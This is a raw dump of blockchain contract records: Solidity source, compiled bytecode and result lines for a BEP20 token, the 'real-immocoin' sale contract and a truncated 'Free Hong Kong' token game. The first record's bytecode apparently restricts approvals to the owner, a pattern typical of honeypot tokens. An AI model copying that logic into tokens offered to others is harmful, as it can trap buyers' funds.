function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b4bd02ee60da60cda1e3593194d4764c118c8ccd1f058cf95959660a5ba03cae64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,115 |
0xa8bf8d59fac7134a822ab47bf2d4506438530964
|
pragma solidity 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract realimmocoin is StandardToken {
string public constant name = "real-immocoin";
string public constant symbol = "RIC";
uint8 public constant decimals =18;
uint256 public constant INITIAL_SUPPLY = 1 * 10**9 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function realimmocoin(address _owner) public {
totalSupply = INITIAL_SUPPLY;
owner = _owner;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
/**
* If the user sends 0 ether, he receives 5700 tokens.
* If he sends 0.001 ether, he receives 30 tokens
* If he sends 0.005 ether he receives 150 tokens
* If he sends 0.01ether, he receives 300 tokens
* If he sends 0.05ether he receives 1500 tokens
* If he sends 0.1ether, he receives 3,000 tokens
*/
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 5700 * (10**uint256(decimals));
}
if( _weiAmount == 0.001 ether){
amountOfTokens = 3 * 10**1 * (10**uint256(decimals));
}
if( _weiAmount == 0.005 ether){
amountOfTokens = 15 * 10**1 * (10**uint256(decimals));
}
if( _weiAmount == 0.01 ether){
amountOfTokens = 3 * 10**2 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 15 * 10**2 * (10**uint256(decimals));
}
if( _weiAmount == 0.1 ether){
amountOfTokens = 3 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
emit Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens() public onlyOwner {
owner.transfer(address(this).balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
emit Transfer(this, owner, balance);
}
}
|
0x60606040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610149578063095ea7b3146101d357806318160ddd1461020957806323b872dd1461022e5780632ff2e9dc14610256578063313ce567146102695780634042b66f1461029257806348c54b9d146102a557806366188463146102ba57806370a08231146102dc57806378f7aeee146102fb5780638da5cb5b1461030e57806395d89b411461033d578063a6f9dae114610350578063a9059cbb1461036f578063b66a0e5d14610391578063bef97c87146103a4578063d73dd623146103b7578063dd62ed3e146103d9578063e36b0b37146103fe578063e985e36714610411578063ec8ac4d814610424578063f41e60c514610438578063fc38ce1914610450575b61014633610466565b50005b341561015457600080fd5b61015c610597565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610198578082015183820152602001610180565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101de57600080fd5b6101f5600160a060020a03600435166024356105ce565b604051901515815260200160405180910390f35b341561021457600080fd5b61021c61063a565b60405190815260200160405180910390f35b341561023957600080fd5b6101f5600160a060020a0360043581169060243516604435610640565b341561026157600080fd5b61021c6107ce565b341561027457600080fd5b61027c6107de565b60405160ff909116815260200160405180910390f35b341561029d57600080fd5b61021c6107e3565b34156102b057600080fd5b6102b86107e9565b005b34156102c557600080fd5b6101f5600160a060020a0360043516602435610898565b34156102e757600080fd5b61021c600160a060020a0360043516610992565b341561030657600080fd5b61021c6109ad565b341561031957600080fd5b6103216109b3565b604051600160a060020a03909116815260200160405180910390f35b341561034857600080fd5b61015c6109c2565b341561035b57600080fd5b6101f5600160a060020a03600435166109f9565b341561037a57600080fd5b6101f5600160a060020a0360043516602435610a9a565b341561039c57600080fd5b6102b8610ba1565b34156103af57600080fd5b6101f5610bf3565b34156103c257600080fd5b6101f5600160a060020a0360043516602435610bfc565b34156103e457600080fd5b61021c600160a060020a0360043581169060243516610ca0565b341561040957600080fd5b6102b8610cdb565b341561041c57600080fd5b6101f5610d16565b61021c600160a060020a0360043516610466565b341561044357600080fd5b6102b86004351515610d37565b341561045b57600080fd5b61021c600435610d65565b6000808080600160a060020a038516151561048057600080fd5b60085474010000000000000000000000000000000000000000900460ff1615156001146104ac57600080fd5b600854600160a060020a031692503491506104c682610d65565b90508015156104d457600080fd5b6006546104e7908363ffffffff610de516565b6006556007546104fd908263ffffffff610de516565b6007556008546105199086908390600160a060020a0316610dfb565b5084600160a060020a03167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f838360405191825260208201526040908101905180910390a2600160a060020a03831682156108fc0283604051600060405180830381858888f19350505050151561058f57600080fd5b949350505050565b60408051908101604052600d81527f7265616c2d696d6d6f636f696e00000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60025481565b600060033660641461064e57fe5b600160a060020a038416151561066357600080fd5b600160a060020a03851660009081526004602052604090205483111561068857600080fd5b600160a060020a03808616600090815260056020908152604080832033909416835292905220548311156106bb57600080fd5b60035460ff1615156106cc57600080fd5b600160a060020a0385166000908152600460205260409020546106f5908463ffffffff610ee316565b600160a060020a03808716600090815260046020526040808220939093559086168152205461072a908463ffffffff610de516565b600160a060020a03808616600090815260046020908152604080832094909455888316825260058152838220339093168252919091522054610772908463ffffffff610ee316565b600160a060020a0380871660008181526005602090815260408083203386168452909152908190209390935590861691600080516020610f9a8339815191529086905190815260200160405180910390a3506001949350505050565b6b033b2e3c9fd0803ce800000081565b601281565b60065481565b60085460009033600160a060020a0390811691161461080757600080fd5b600854600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561084057600080fd5b61084930610992565b60085490915061086290600160a060020a031682610a9a565b50600854600160a060020a03908116903016600080516020610f9a8339815191528360405190815260200160405180910390a350565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054808311156108f557600160a060020a03338116600090815260056020908152604080832093881683529290529081205561092c565b610905818463ffffffff610ee316565b600160a060020a033381166000908152600560209081526040808320938916835292905220555b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526004602052604090205490565b60075481565b600854600160a060020a031681565b60408051908101604052600381527f5249430000000000000000000000000000000000000000000000000000000000602082015281565b60085460009033600160a060020a03908116911614610a1757600080fd5b600160a060020a0382161515610a2c57600080fd5b600854600160a060020a0380841691167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a35060088054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6000600236604414610aa857fe5b600160a060020a0384161515610abd57600080fd5b600160a060020a033316600090815260046020526040902054831115610ae257600080fd5b60035460ff161515610af357600080fd5b600160a060020a033316600090815260046020526040902054610b1c908463ffffffff610ee316565b600160a060020a033381166000908152600460205260408082209390935590861681522054610b51908463ffffffff610de516565b600160a060020a038086166000818152600460205260409081902093909355913390911690600080516020610f9a8339815191529086905190815260200160405180910390a35060019392505050565b60085433600160a060020a03908116911614610bbc57600080fd5b6008805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60035460ff1681565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054610c34908363ffffffff610de516565b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000600236604414610cae57fe5b5050600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60085433600160a060020a03908116911614610cf657600080fd5b6008805474ff000000000000000000000000000000000000000019169055565b60085474010000000000000000000000000000000000000000900460ff1681565b60085433600160a060020a03908116911614610d5257600080fd5b6003805460ff1916911515919091179055565b600080610d7183610ef5565b600854600160a060020a0316600090815260046020526040902054909150811115610ddb577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b626007548260405191825260208201526040908101905180910390a160009150610ddf565b8091505b50919050565b600082820183811015610df457fe5b9392505050565b6000600160a060020a0384161515610e1257600080fd5b600160a060020a038216600090815260046020526040902054831115610e3757600080fd5b600160a060020a038416600090815260046020526040902054610e60908463ffffffff610de516565b600160a060020a038086166000908152600460205260408082209390935590841681522054610e95908463ffffffff610ee316565b600160a060020a03808416600081815260046020526040908190209390935590861691600080516020610f9a8339815191529086905190815260200160405180910390a35060019392505050565b600082821115610eef57fe5b50900390565b600080821515610f0c5750690134ff63f81b0e9000005b8266038d7ea4c680001415610f2757506801a055690d9db800005b826611c37937e080001415610f425750680821ab0d44149800005b82662386f26fc100001415610f5d5750681043561a88293000005b8266b1a2bc2ec500001415610f785750685150ae84a8cdf000005b8267016345785d8a00001415610ddb575068a2a15d09519be00000929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058207095944cd71eed09abb83aa6cb528b8f697dff82efbadfa50011b18694f1fe010029
|
{"success": true, "error": null, "results": {}}
| 6,116 |
0x166fe8f22e310ede61453488e134faea01367c1b
|
/**
*Submitted for verification at Etherscan.io on 2021-03-01
*/
/*
GREETINGS!
Testing the ability of smart contract platforms to withstand censorship is vital and we have seen a few recent experiments on that on smaller and more recent chains.
But what about ethereum? Can the grandfather itself stand up to the same test, its passionate proponents are eager to dole out to others?
There is no better way to answer the question than to test it out.
This is an experimental game at best and an experimental test at worst. Beyond that it is what you imagine it to be.
We salute people across the ages and across the world who have fought for freedom and sometimes have given up their lives to do so.
.---.
___ /_____\
/\.-`( '.' )
/ / \_-_/_
\ `-.-"`'V'//-.
`.__, |// , \
|Ll //Ll|\ \
|__// | \_\
/---|[]==| / /
\__/ | \/\/
/_ | Ll_\|
|`^"""^`|
| | |
| | |
| | |
| | |
L___l___J
|_ | _|
(___|___)
^^^ ^^^
***** GAME MECHANICS *****
There is no website or group. No support. This is your battle. You will have to fight it alone.
The year is 2050 and Hong Kong has fallen into the brutal hands of the CCP. There is no freedom, hope has been extinguished, history has been erased.
Enter you!
Hong Kong is now split into 200 districts, all in the hands of the CCP.
You have the power to free one district by minting one of the 200 available tokens. Minting is free. Interface with the smart contract directly to do so.
One address can mint only once after which the CCP notices you and stops you on your tracks. You can trade your district token or send it to another address just like any other ERC20.
You also know that CCP sensing a potential threat, is using its agents to create fake 'free' districts by minting tokens too. So from your perspective any of the other minted tokens can be CCP lands.
You can use your district to wage a battle against other districts. Do this by sending a 0 token transaction to any of other token holding addresses.
There is a 50% chance of you winning. If you win the battle you will gain 1/4th of your token holding as a newly minted 'free' sub district.
If you lose, you lose 50% of your token holding, that's send to '0' address by the contract. The 0 address is controlled by UN, which is trying to navigate the politically charged waters carefully.
Once in 20 such battles (1/20 chance) that UN will end up giving up half of it's tokens to you as a reward for your battles while sending the other half to the CCP (!!).
The tokens that are send to the CCP ceases to be Hong Kong and are permanently burnt from the cap of 200 districts.
Hong Kong is therefore an increasingly smaller land. Free it before it falls permanently and loses the only beacon of hope, that's you.
***** END *****
*/
pragma solidity ^0.5.15;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Free_Hong_Kong is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint8) private _minted;
event Mint(address account, uint256 amount, string text);
uint256 private _totalSupply;
uint256 private _maxSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "FREE HONG KONG";
_symbol = "FREEHK";
_decimals = 18;
_totalSupply = 0;
_maxSupply = (200 * (10**18));
}
function maxSupply() external view returns (uint256) {
return _maxSupply;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transferFrom(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "IERC20: transfer amount exceeds allowance"));
return true;
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "IERC20: decreased allowance below zero"));
return true;
}
function mint() public returns (bool) {
require(_minted[msg.sender] == 0, "IERC20: this address has already minted FREEHK");
_mint(msg.sender, 10**18);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "IERC20: transfer from burn address");
require(recipient != address(0), "IERC20: transfer to burn address");
_balances[sender] = _balances[sender].sub(amount, "IERC20: transfer exceeds balance");
